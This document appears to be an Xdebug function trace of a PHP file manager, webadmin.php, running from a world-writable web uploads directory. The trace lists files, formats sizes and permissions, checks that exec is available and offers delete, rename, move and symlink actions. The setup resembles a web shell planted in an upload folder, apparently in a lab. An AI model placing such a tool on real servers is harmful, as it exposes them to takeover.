4 A /var/www/html/uploads/webadmin.php 1416 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/webadmin.php 1418 $arr = ''
4 A /var/www/html/uploads/webadmin.php 1421 $r = '&reverse=true'
4 A /var/www/html/uploads/webadmin.php 1422 $arr = ' ∧'
5 206 0 0.011590 799856 word 1 /var/www/html/uploads/webadmin.php 1429 1 'filename'
6 207 0 0.011604 799856 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Filename' 2 'UTF-8'
6 207 1 0.011620 800128
6 207 R 'Filename'
5 206 1 0.011635 800016
5 206 R 'Filename'
4 204 1 0.011649 799616
4 208 0 0.011657 799616 column_title 1 /var/www/html/uploads/webadmin.php 1237 3 'size' 'filename' FALSE
5 209 0 0.011672 799616 urlencode 0 /var/www/html/uploads/webadmin.php 1416 1 '/var/www/html/uploads/'
5 209 1 0.011685 799712
5 209 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/webadmin.php 1416 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/webadmin.php 1418 $arr = ''
4 A /var/www/html/uploads/webadmin.php 1427 $r = ''
5 210 0 0.011734 799824 word 1 /var/www/html/uploads/webadmin.php 1429 1 'size'
6 211 0 0.011747 799824 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Size' 2 'UTF-8'
6 211 1 0.011761 800096
6 211 R 'Size'
5 210 1 0.011775 799984
5 210 R 'Size'
4 208 1 0.011789 799616
4 212 0 0.011796 799616 column_title 1 /var/www/html/uploads/webadmin.php 1240 3 'permission' 'filename' FALSE
5 213 0 0.011810 799616 urlencode 0 /var/www/html/uploads/webadmin.php 1416 1 '/var/www/html/uploads/'
5 213 1 0.011824 799712
5 213 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/webadmin.php 1416 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/webadmin.php 1418 $arr = ''
4 A /var/www/html/uploads/webadmin.php 1427 $r = ''
5 214 0 0.011871 799856 word 1 /var/www/html/uploads/webadmin.php 1429 1 'permission'
6 215 0 0.011884 799856 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Permission' 2 'UTF-8'
6 215 1 0.011899 800128
6 215 R 'Permission'
5 214 1 0.011913 800016
5 214 R 'Permission'
4 212 1 0.011935 799728
4 216 0 0.011943 799728 column_title 1 /var/www/html/uploads/webadmin.php 1241 3 'owner' 'filename' FALSE
5 217 0 0.011958 799728 urlencode 0 /var/www/html/uploads/webadmin.php 1416 1 '/var/www/html/uploads/'
5 217 1 0.011971 799824
5 217 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/webadmin.php 1416 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/webadmin.php 1418 $arr = ''
4 A /var/www/html/uploads/webadmin.php 1427 $r = ''
5 218 0 0.012018 799936 word 1 /var/www/html/uploads/webadmin.php 1429 1 'owner'
6 219 0 0.012031 799936 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Owner' 2 'UTF-8'
6 219 1 0.012046 800208
6 219 R 'Owner'
5 218 1 0.012060 800096
5 218 R 'Owner'
4 216 1 0.012074 799728
4 220 0 0.012081 799728 column_title 1 /var/www/html/uploads/webadmin.php 1242 3 'group' 'filename' FALSE
5 221 0 0.012096 799728 urlencode 0 /var/www/html/uploads/webadmin.php 1416 1 '/var/www/html/uploads/'
5 221 1 0.012109 799824
5 221 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 A /var/www/html/uploads/webadmin.php 1416 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
4 A /var/www/html/uploads/webadmin.php 1418 $arr = ''
4 A /var/www/html/uploads/webadmin.php 1427 $r = ''
5 222 0 0.012156 799936 word 1 /var/www/html/uploads/webadmin.php 1429 1 'group'
6 223 0 0.012168 799936 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Group' 2 'UTF-8'
6 223 1 0.012183 800208
6 223 R 'Group'
5 222 1 0.012196 800096
5 222 R 'Group'
4 220 1 0.012210 799728
4 224 0 0.012216 799728 word 1 /var/www/html/uploads/webadmin.php 1245 1 'functions'
5 225 0 0.012229 799728 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Functions' 2 'UTF-8'
5 225 1 0.012244 800000
5 225 R 'Functions'
4 224 1 0.012258 799888
4 224 R 'Functions'
3 A /var/www/html/uploads/webadmin.php 1249 $i = 0
4 226 0 0.012286 799728 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 226 1 0.012357 799760
4 226 R 6
3 A /var/www/html/uploads/webadmin.php 1250 $file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 227 0 0.012398 799728 date 0 /var/www/html/uploads/webadmin.php 1252 2 'n/j/y H:i:s' 1676255997
4 227 1 0.012473 802120
4 227 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1252 $timestamps = 'mtime: 2/12/23 21:39:57, '
4 228 0 0.012506 801848 date 0 /var/www/html/uploads/webadmin.php 1253 2 'n/j/y H:i:s' 1676255997
4 228 1 0.012537 802176
4 228 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1253 $timestamps .= 'atime: 2/12/23 21:39:57, '
4 229 0 0.012565 801872 date 0 /var/www/html/uploads/webadmin.php 1254 2 'n/j/y H:i:s' 1676255997
4 229 1 0.012595 802200
4 229 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1254 $timestamps .= 'ctime: 2/12/23 21:39:57'
4 230 0 0.012623 802096 html 1 /var/www/html/uploads/webadmin.php 1258 1 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5 231 0 0.012638 802096 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57' 2 NULL
5 231 1 0.012656 802400
5 231 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 230 1 0.012672 802288
4 230 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 232 0 0.012689 801960 urlencode 0 /var/www/html/uploads/webadmin.php 1281 1 '/var/www/html/uploads/.'
4 232 1 0.012702 802056
4 232 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.'
4 233 0 0.012719 802000 html 1 /var/www/html/uploads/webadmin.php 1281 1 '.'
5 234 0 0.012732 802000 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '.' 2 NULL
5 234 1 0.012746 802272
5 234 R '.'
4 233 1 0.012759 802160
4 233 R '.'
4 235 0 0.012773 801904 human_filesize 1 /var/www/html/uploads/webadmin.php 1304 1 4096
4 A /var/www/html/uploads/webadmin.php 1153 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/webadmin.php 1155 $n = 0
4 A /var/www/html/uploads/webadmin.php 1157 $filesize /= 1024
4 A /var/www/html/uploads/webadmin.php 1158 $n++
5 236 0 0.012830 801904 strpos 0 /var/www/html/uploads/webadmin.php 1161 2 4 '.'
5 236 1 0.012844 801976
5 236 R FALSE
5 237 0 0.012857 801904 round 0 /var/www/html/uploads/webadmin.php 1161 2 4 3
5 237 1 0.012870 801976
5 237 R 4
4 A /var/www/html/uploads/webadmin.php 1161 $filesize = 4
5 238 0 0.012894 801904 strpos 0 /var/www/html/uploads/webadmin.php 1163 2 4 '.'
5 238 1 0.012907 802232
5 238 R FALSE
5 239 0 0.012921 801904 substr 0 /var/www/html/uploads/webadmin.php 1169 3 'kMGTPE' 0 1
5 239 1 0.012935 802000
5 239 R 'k'
4 A /var/www/html/uploads/webadmin.php 1169 $suffix = 'k'
4 235 1 0.012960 801936
4 235 R '4 kB'
3 A /var/www/html/uploads/webadmin.php 1304 $human = ' title="4 kB"'
4 240 0 0.012986 801944 decoct 0 /var/www/html/uploads/webadmin.php 1315 1 16895
4 240 1 0.012999 802016
4 240 R '40777'
4 241 0 0.013013 801944 function_exists 0 /var/www/html/uploads/webadmin.php 1317 1 'posix_getuid'
4 241 1 0.013027 801984
4 241 R TRUE
4 242 0 0.013040 801944 posix_getuid 0 /var/www/html/uploads/webadmin.php 1317 0
4 242 1 0.013053 801944
4 242 R 33
3 A /var/www/html/uploads/webadmin.php 1317 $l = FALSE
4 243 0 0.013077 801944 permission_octal2string 1 /var/www/html/uploads/webadmin.php 1319 1 16895
4 A /var/www/html/uploads/webadmin.php 970 $type = 'd'
4 A /var/www/html/uploads/webadmin.php 979 $owner = 'r'
4 A /var/www/html/uploads/webadmin.php 980 $owner .= 'w'
4 A /var/www/html/uploads/webadmin.php 984 $owner .= 'x'
4 A /var/www/html/uploads/webadmin.php 987 $group = 'r'
4 A /var/www/html/uploads/webadmin.php 988 $group .= 'w'
4 A /var/www/html/uploads/webadmin.php 992 $group .= 'x'
4 A /var/www/html/uploads/webadmin.php 995 $other = 'r'
4 A /var/www/html/uploads/webadmin.php 996 $other .= 'w'
4 A /var/www/html/uploads/webadmin.php 1000 $other .= 'x'
4 243 1 0.013199 801984
4 243 R 'drwxrwxrwx'
4 244 0 0.013213 801984 html 1 /var/www/html/uploads/webadmin.php 1319 1 'drwxrwxrwx'
5 245 0 0.013227 801984 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'drwxrwxrwx' 2 NULL
5 245 1 0.013242 802256
5 245 R 'drwxrwxrwx'
4 244 1 0.013256 802144
4 244 R 'drwxrwxrwx'
4 246 0 0.013270 801944 array_key_exists 0 /var/www/html/uploads/webadmin.php 1324 2 'owner_name' ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 246 1 0.013300 802008
4 246 R TRUE
4 247 0 0.013314 801944 array_key_exists 0 /var/www/html/uploads/webadmin.php 1330 2 'group_name' ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 247 1 0.013342 802008
4 247 R TRUE
4 248 0 0.013356 802040 html 1 /var/www/html/uploads/webadmin.php 1339 1 '/var/www/html/uploads/.'
5 249 0 0.013368 802040 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/.' 2 NULL
5 249 1 0.013383 802312
5 249 R '/var/www/html/uploads/.'
4 248 1 0.013399 802200
4 248 R '/var/www/html/uploads/.'
3 A /var/www/html/uploads/webadmin.php 1342 $actions = []
4 250 0 0.013425 801944 function_exists 0 /var/www/html/uploads/webadmin.php 1343 1 'symlink'
4 250 1 0.013438 801984
4 250 R TRUE
3 A /var/www/html/uploads/webadmin.php 1344 $actions[] = 'create_symlink'
4 251 0 0.013464 802320 dirname 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads/.'
4 251 1 0.013478 802400
4 251 R '/var/www/html/uploads'
4 252 0 0.013492 802368 is_writable 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads'
4 252 1 0.013514 802408
4 252 R TRUE
3 A /var/www/html/uploads/webadmin.php 1347 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1348 $actions[] = 'rename'
3 A /var/www/html/uploads/webadmin.php 1349 $actions[] = 'move'
4 253 0 0.013560 802320 function_exists 0 /var/www/html/uploads/webadmin.php 1356 1 'exec'
4 253 1 0.013574 802360
4 253 R TRUE
4 254 0 0.013587 802320 sizeof 0 /var/www/html/uploads/webadmin.php 1360 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 254 1 0.013603 802352
4 254 R 4
4 255 0 0.013617 802416 str_repeat 0 /var/www/html/uploads/webadmin.php 1363 2 ' ' 30
4 255 1 0.013631 802704
4 255 R ' '
4 256 0 0.013648 802384 word 1 /var/www/html/uploads/webadmin.php 1367 1 'create_symlink'
5 257 0 0.013662 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create symlink' 2 'UTF-8'
5 257 1 0.013678 802656
5 257 R 'create symlink'
4 256 1 0.013693 802544
4 256 R 'create symlink'
4 258 0 0.013708 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'delete'
5 259 0 0.013721 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 259 1 0.013736 802648
5 259 R 'delete'
4 258 1 0.013749 802536
4 258 R 'delete'
4 260 0 0.013764 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'rename'
5 261 0 0.013777 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'rename' 2 'UTF-8'
5 261 1 0.013791 802648
5 261 R 'rename'
4 260 1 0.013805 802536
4 260 R 'rename'
4 262 0 0.013819 802368 word 1 /var/www/html/uploads/webadmin.php 1367 1 'move'
5 263 0 0.013836 802368 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 263 1 0.013851 802640
5 263 R 'move'
4 262 1 0.013864 802528
4 262 R 'move'
3 A /var/www/html/uploads/webadmin.php 1249 $i++
4 264 0 0.013889 802320 sizeof 0 /var/www/html/uploads/webadmin.php 1249 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 264 1 0.013960 802352
4 264 R 6
3 A /var/www/html/uploads/webadmin.php 1250 $file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 265 0 0.014002 802320 date 0 /var/www/html/uploads/webadmin.php 1252 2 'n/j/y H:i:s' 1676255997
4 265 1 0.014034 802648
4 265 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1252 $timestamps = 'mtime: 2/12/23 21:39:57, '
4 266 0 0.014061 802264 date 0 /var/www/html/uploads/webadmin.php 1253 2 'n/j/y H:i:s' 1676255997
4 266 1 0.014092 802592
4 266 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1253 $timestamps .= 'atime: 2/12/23 21:39:57, '
4 267 0 0.014119 802288 date 0 /var/www/html/uploads/webadmin.php 1254 2 'n/j/y H:i:s' 1676255997
4 267 1 0.014149 802616
4 267 R '2/12/23 21:39:57'
3 A /var/www/html/uploads/webadmin.php 1254 $timestamps .= 'ctime: 2/12/23 21:39:57'
4 268 0 0.014177 802512 html 1 /var/www/html/uploads/webadmin.php 1258 1 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5 269 0 0.014191 802512 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57' 2 NULL
5 269 1 0.014223 802816
5 269 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 268 1 0.014240 802704
4 268 R 'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4 270 0 0.014258 802376 urlencode 0 /var/www/html/uploads/webadmin.php 1281 1 '/var/www/html/uploads/..'
4 270 1 0.014271 802472
4 270 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F..'
4 271 0 0.014288 802416 html 1 /var/www/html/uploads/webadmin.php 1281 1 '..'
5 272 0 0.014300 802416 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '..' 2 NULL
5 272 1 0.014315 802688
5 272 R '..'
4 271 1 0.014328 802576
4 271 R '..'
4 273 0 0.014342 802320 human_filesize 1 /var/www/html/uploads/webadmin.php 1304 1 4096
4 A /var/www/html/uploads/webadmin.php 1153 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/webadmin.php 1155 $n = 0
4 A /var/www/html/uploads/webadmin.php 1157 $filesize /= 1024
4 A /var/www/html/uploads/webadmin.php 1158 $n++
5 274 0 0.014398 802320 strpos 0 /var/www/html/uploads/webadmin.php 1161 2 4 '.'
5 274 1 0.014411 802392
5 274 R FALSE
5 275 0 0.014424 802320 round 0 /var/www/html/uploads/webadmin.php 1161 2 4 3
5 275 1 0.014436 802392
5 275 R 4
4 A /var/www/html/uploads/webadmin.php 1161 $filesize = 4
5 276 0 0.014460 802320 strpos 0 /var/www/html/uploads/webadmin.php 1163 2 4 '.'
5 276 1 0.014474 802648
5 276 R FALSE
5 277 0 0.014487 802320 substr 0 /var/www/html/uploads/webadmin.php 1169 3 'kMGTPE' 0 1
5 277 1 0.014500 802416
5 277 R 'k'
4 A /var/www/html/uploads/webadmin.php 1169 $suffix = 'k'
4 273 1 0.014525 802352
4 273 R '4 kB'
3 A /var/www/html/uploads/webadmin.php 1304 $human = ' title="4 kB"'
4 278 0 0.014551 802320 decoct 0 /var/www/html/uploads/webadmin.php 1315 1 16895
4 278 1 0.014564 802392
4 278 R '40777'
4 279 0 0.014578 802320 function_exists 0 /var/www/html/uploads/webadmin.php 1317 1 'posix_getuid'
4 279 1 0.014592 802360
4 279 R TRUE
4 280 0 0.014605 802320 posix_getuid 0 /var/www/html/uploads/webadmin.php 1317 0
4 280 1 0.014618 802320
4 280 R 33
3 A /var/www/html/uploads/webadmin.php 1317 $l = FALSE
4 281 0 0.014685 802320 permission_octal2string 1 /var/www/html/uploads/webadmin.php 1319 1 16895
4 A /var/www/html/uploads/webadmin.php 970 $type = 'd'
4 A /var/www/html/uploads/webadmin.php 979 $owner = 'r'
4 A /var/www/html/uploads/webadmin.php 980 $owner .= 'w'
4 A /var/www/html/uploads/webadmin.php 984 $owner .= 'x'
4 A /var/www/html/uploads/webadmin.php 987 $group = 'r'
4 A /var/www/html/uploads/webadmin.php 988 $group .= 'w'
4 A /var/www/html/uploads/webadmin.php 992 $group .= 'x'
4 A /var/www/html/uploads/webadmin.php 995 $other = 'r'
4 A /var/www/html/uploads/webadmin.php 996 $other .= 'w'
4 A /var/www/html/uploads/webadmin.php 1000 $other .= 'x'
4 281 1 0.014812 802360
4 281 R 'drwxrwxrwx'
4 282 0 0.014827 802360 html 1 /var/www/html/uploads/webadmin.php 1319 1 'drwxrwxrwx'
5 283 0 0.014841 802360 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 'drwxrwxrwx' 2 NULL
5 283 1 0.014864 802632
5 283 R 'drwxrwxrwx'
4 282 1 0.014883 802520
4 282 R 'drwxrwxrwx'
4 284 0 0.014897 802320 array_key_exists 0 /var/www/html/uploads/webadmin.php 1324 2 'owner_name' ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 284 1 0.014928 802384
4 284 R TRUE
4 285 0 0.014942 802320 array_key_exists 0 /var/www/html/uploads/webadmin.php 1330 2 'group_name' ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 285 1 0.014970 802384
4 285 R TRUE
4 286 0 0.014985 802416 html 1 /var/www/html/uploads/webadmin.php 1339 1 '/var/www/html/uploads/..'
5 287 0 0.014998 802416 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/..' 2 NULL
5 287 1 0.015013 802688
5 287 R '/var/www/html/uploads/..'
4 286 1 0.015028 802576
4 286 R '/var/www/html/uploads/..'
3 A /var/www/html/uploads/webadmin.php 1342 $actions = []
4 288 0 0.015055 801944 function_exists 0 /var/www/html/uploads/webadmin.php 1343 1 'symlink'
4 288 1 0.015069 801984
4 288 R TRUE
3 A /var/www/html/uploads/webadmin.php 1344 $actions[] = 'create_symlink'
4 289 0 0.015094 802320 dirname 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads/..'
4 289 1 0.015107 802408
4 289 R '/var/www/html/uploads'
4 290 0 0.015122 802376 is_writable 0 /var/www/html/uploads/webadmin.php 1346 1 '/var/www/html/uploads'
4 290 1 0.015143 802416
4 290 R TRUE
3 A /var/www/html/uploads/webadmin.php 1347 $actions[] = 'delete'
3 A /var/www/html/uploads/webadmin.php 1348 $actions[] = 'rename'
3 A /var/www/html/uploads/webadmin.php 1349 $actions[] = 'move'
4 291 0 0.015188 802320 function_exists 0 /var/www/html/uploads/webadmin.php 1356 1 'exec'
4 291 1 0.015201 802360
4 291 R TRUE
4 292 0 0.015214 802320 sizeof 0 /var/www/html/uploads/webadmin.php 1360 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 292 1 0.015231 802352
4 292 R 4
4 293 0 0.015245 802416 str_repeat 0 /var/www/html/uploads/webadmin.php 1363 2 ' ' 30
4 293 1 0.015259 802704
4 293 R ' '
4 294 0 0.015276 802384 word 1 /var/www/html/uploads/webadmin.php 1367 1 'create_symlink'
5 295 0 0.015290 802384 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create symlink' 2 'UTF-8'
5 295 1 0.015306 802656
5 295 R 'create symlink'
4 294 1 0.015321 802544
4 294 R 'create symlink'
4 296 0 0.015335 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'delete'
5 297 0 0.015349 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'delete' 2 'UTF-8'
5 297 1 0.015364 802648
5 297 R 'delete'
4 296 1 0.015378 802536
4 296 R 'delete'
4 298 0 0.015391 802376 word 1 /var/www/html/uploads/webadmin.php 1367 1 'rename'
5 299 0 0.015404 802376 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'rename' 2 'UTF-8'
5 299 1 0.015426 802648
5 299 R 'rename'
4 298 1 0.015440 802536
4 298 R 'rename'
4 300 0 0.015454 802368 word 1 /var/www/html/uploads/webadmin.php 1367 1 'move'
5 301 0 0.015468 802368 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'move' 2 'UTF-8'
5 301 1 0.015482 802640
5 301 R 'move'
4 300 1 0.015496 802528
4 300 R 'move'
3 A /var/www/html/uploads/webadmin.php 1249 $i++
